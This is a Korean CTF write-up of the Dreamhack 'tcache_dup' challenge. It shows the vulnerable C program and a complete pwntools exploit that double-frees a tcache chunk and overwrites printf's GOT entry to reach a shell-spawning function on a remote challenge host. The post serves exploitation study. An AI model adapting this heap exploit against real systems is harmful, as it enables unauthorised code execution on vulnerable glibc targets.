TIL: tcache poisoning 1 🗃️

Wargame: tcache_dup

문제의 소스 코드는 아래와 같다.

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if(cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if(!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while(1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

Vulnerability Scanning

• checksec

  

• create을 이용해 원하는 size로 malloc을 실행할 수 있고, 그 안에 data를 입력할 수 있다.
• free를 이용해 allocate한 chunk 중 원하는 chunk를 free할 수 있다.
• get_shell을 실행하면 shell을 획득할 수 있다.

Exploit

from pwn import *

#p = process("./tcache_dup")
p = remote("host3.dreamhack.games", 9302)
#gdb.attach(p)
e = ELF("./tcache_dup")

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))

create(0x30, "AAAA")
delete(0)
delete(0)

printf_got = e.got["printf"]
get_shell = e.symbols["get_shell"]

create(0x30, p64(printf_got))
create(0x30, "AAAA")
create(0x30, p64(get_shell))

p.interactive()

• 문제의 서버에서 사용중인 libc의 버전에서는 앞서 설명한 tcache_entry→key를 활용한 DFB 방지기법을 사용하지 않는다. 따라서 그냥 free를 두 번 실행하여 DFB를 일으킬 수 있다.